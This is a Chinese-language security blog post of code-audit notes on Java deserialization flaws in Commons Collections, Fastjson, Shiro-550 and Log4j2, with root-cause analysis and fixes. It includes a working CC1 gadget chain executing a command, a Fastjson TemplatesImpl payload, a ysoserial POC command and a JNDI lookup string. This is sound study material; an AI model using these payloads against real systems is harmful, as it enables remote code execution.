常见漏洞审计

代码审计

1
2
3
4
5
6
Common Collections 1,2
Shiro-550、Shiro-721
fastjson <=1.2.24
https://cloud.tencent.com/developer/article/1974944
Log4j2系列 < 2.15.0
https://cloud.tencent.com/developer/article/1917530

Common Collection 1

  • commons-collections3.1-3.2.1,jdk1.7.1以下
  1. 流程
    1. 漏洞点:在3.1和jdk1.7.1之前,InvokerTransformer的transform数组可控
    2. 关键点:AnnotationInvocationHandler反序列化,LazyMap+动态代理
    3. 调用链:transform能够被LazyMap的get方法进行调用,LazyMap链的调用是通过AnnotationInvocationHandler类的动态代理实现的,在handler的反序列化readObject中,会调用到memberValues的方法,memberValues设置为LazyMap的实例,因为挂了一层动态代理,所以会调用到LazyMap的invoke方法,invoke方法中调用了memberValues的get方法,接着调用transform,形成调用链。

LazyMap链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(annotationInvocationHandler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

问题

  • LazyMap类如何构造利用链?

    核心漏洞函数是InvokerTransformer类的transform方法,然后transform可控,是漏洞点。LazyMap需要通过调用本身的get方法继续往下调用到transform,则需要往上找到能够进行反序列化的地方,即怎么调用get方法,通过动态代理利用annotationInvocationHandler的invoke调用到memberValues的get再调用到LazyMap的get方法。

  • 需要一个类在反序列化的时候触发LazyMap类的get方法?

    annotationInvocationHandler初始化时,将LazyMap放入到memberValues中,然后触发invoke方法调用memberValues.get方法

  • 如何去调用AnnotationInvocationHandler类中的invoke方法?

    将LazyMap通过AnnotationInvocationHandler挂上动态代理,根据动态代理,每个具有代理对象的方法被调用时都会触发invoke方法。

修复

1
2
3
3.2.2
FunctorUtils.checkUnsafeSerialization
调用readObject和writeObject的时候把InvokerTransformer类给拉黑了

Common Collections 2

  • 利用过程:

    1
    2
    3
    1. 构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)
    2. 创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer方法名传递给TransformingComparator(这一步和CC1链非常相似)
    3. 通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链

特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//漏洞点:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses;
_class[i] = loader.defineClass(_bytecodes[i]);

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

//调用链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer;
public synchronized Transformer newTransformer(); //CC1链 特征return Transformer

org.apache.commons.collections.functors.InvokerTransformer#transform;
{
Class cls = input.getClass(); //Object input; 形参
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} //构造任意类并调用函数

org.apache.commons.collections4.comparators.TransformingComparator#compare;
O value1 = this.transformer.transform(obj1);

//寻找可反序列化类 调用了compare方法的readObject(), 一般出现在集合类中
java.util.PriorityQueue#readObject;
java.util.PriorityQueue#heapify;
java.util.PriorityQueue#siftDown;
{
if (comparator != null)
/*
通过构造方法写入一个Comparator 然后通过构造PriorityQueue调用readObject()完成调用链利用
public PriorityQueue(Comparator<? super E> comparator);
*/
{
java.util.PriorityQueue#siftDownUsingComparator;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0);
}
{
java.util.PriorityQueue#siftDownComparable;
if (right < size && ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0);
}
}

修复

1
和CC1一样直接拉黑InvokerTransformer

Fastjson <1.2.24

1
2
3
4
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
"\"_bytecodes\":[\"" + baseEvil +
"\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, " +
"\"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
  • _tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

  • _outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

问题

  • _bytecodes为什么需要base64编码?

    • fieldValueDeserilizer的deserialze方法设置到对象中之前调用了bytesvalue()方法,方法内部对_bytecodes进行了base64的解码
  • 如何在fastjson的parseObject()反序列化的过程中触发漏洞点?

    • 核心漏洞点函数getOutputProperties方法,setValue函数中用于反射调用的method属性中设置了public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(),从而调用触发调用链。
  • _name为什么需要设置?

    • 在getTransletInstance内部要满足如下条件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      if (_name == null) return null; //_name不为空
      if (_class == null) defineTransletClasses(); //_class为空
      //defineTransletClasses
      {
      _class[i] = loader.defineClass(_bytecodes[i]);
      final Class superClass = _class[i].getSuperclass();

      // Check if this is the main class
      if (superClass.getName().equals(ABSTRACT_TRANSLET)) { //_bytecodes对应类需要继承AbstractTranslet类
      _transletIndex = i;
      }
      }
  • fastjson在反序列化过程中具体是如何调用属性的getter方法的?

    答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo

Shiro550

  1. 认证调用链
image-20230221231700180
  1. 特征:登录返回包中在Set-Cookie字段中出现rememberMe=deleteMe,可能有Shiro反序列化漏洞

  2. 登录后不对发送包中的Cookie进行反序列化,编写Poc时需要在未登录的情况下进行提交

    1
    2
    //利用ysoserial生成CC2 POC链
    java8 -jar ysoserial.jar CommonsCollections2 "calc" > poc.txt
  3. 加密方式

  4. 漏洞调用链:

    在对请求Filter进行拦截,并通过SecurityManager创建请求对应的Subject的过程中解析身份信息resolvePrincipals时,org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity向下调用了getRememberedSerializedIdentity获取得到请求request中Cookie的rememberMe的值,解密后利用deserialize直接进行反序列化造成任意命令执行。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (this.getCipherService() != null) {
    bytes = this.decrypt(bytes);
    }

    return this.deserialize(bytes);
    }
    //org.apache.shiro.io.DefaultSerializer#deserialize
    public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) { //只进行了null判断
    String msg = "argument cannot be null.";
    throw new IllegalArgumentException(msg);
    } else {
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);

    try {
    ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
    T deserialized = ois.readObject();
    ois.close();
    return deserialized;
    } catch (Exception var6) {
    String msg = "Unable to deserialze argument byte array.";
    throw new SerializationException(msg, var6);
    }
    }
    }
  5. 密钥设置

log4j2

基础

  1. JNDI (Java Naming and Directory Interface)

    JDNI通过绑定的概念将对象和名称联系起来,JNDI中的一组绑定作为上下文来引用。每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。

  2. LDAP(Light Directory Access Portocol)

    LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)。

  3. Codebase

    Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。

低版本触发漏洞

  • 影响范围:< JDK 8u_191
  1. 漏洞原理

    1
    2
    3
    4
    5
    6
    ${jndi:ldap://localhost:9999/test}
    关键就如下几步:
    1、攻击者发送带有恶意Ldap内容的字符串,让服务通过log4j2打印
    2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。
    3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
    4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
  2. 问题:

    1. 此攻击为什么对高版本无效?

      因为高版本在VersionHelper12的loadClass设置验证了trustURLCodebase是不是设置为false,默认情况下是设置的false,所以无法利用

高版本触发漏洞

  • 基础
    • lookup:当Java底层请求Ldap服务器后,Ldap主要返回了三个主要参数javaClassName、javaFactory、JavaFactoryLocaltion,以及一些额外参数。客户端获得这些参数之后主要做一件事情:构造需要的类实例。即客户端通过javaFactory类来构建实现我们需要的JavaClassName指定的实例。
      • javaFactory是ObjectFactory类子类,来源有:1.Codebase,2.本地(ldap返回Codebase地址或者返回javaFactory对应的类地址) // 本地方式:需要找到本地哪些javaFactory存在一些可以被利用的漏洞。
  1. 利用方式

    1. 关键类:BeanFactory,该Factory我们可以通过默认构造函数实例化任意一个类,并调用其任意的只有一个String入参的公共方法,且其方法名可以不用是标准setter的名称,而可以是任意名称。

    2. Ldap服务器返回JavaFactory=org.apache.naming.factory.BeanFactory,javaClassName=javax.el.ELProcessor。同时传递参数x=上述恶意代码,forceString="x=eval"。
      1、直接在本地加载和实例化BeanFactory工厂,得到BeanFacory实例
      2、BeanFactory工厂通过默认构造函数实例化javax.el.ELProcessor,得到ELProcessor实例
      3、Ldap告诉BeanFactory,ELProcessor有一个string类型的变量x(实际没有),其内容为恶意代码块,且该变量的setter方法名为eval。
      4、BeanFactory就会执行ELProcessor实例的eval方法,且入参为恶意代码块。
      

修复

  1. 新增消息的Lookup开关(默认关闭),默认不解析${}配置
  2. 新增白名单:给协议、class和域名都添加白名单
Author: Aizlm
Link: https://aizlm.github.io/2023/04/16/常见漏洞审计/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.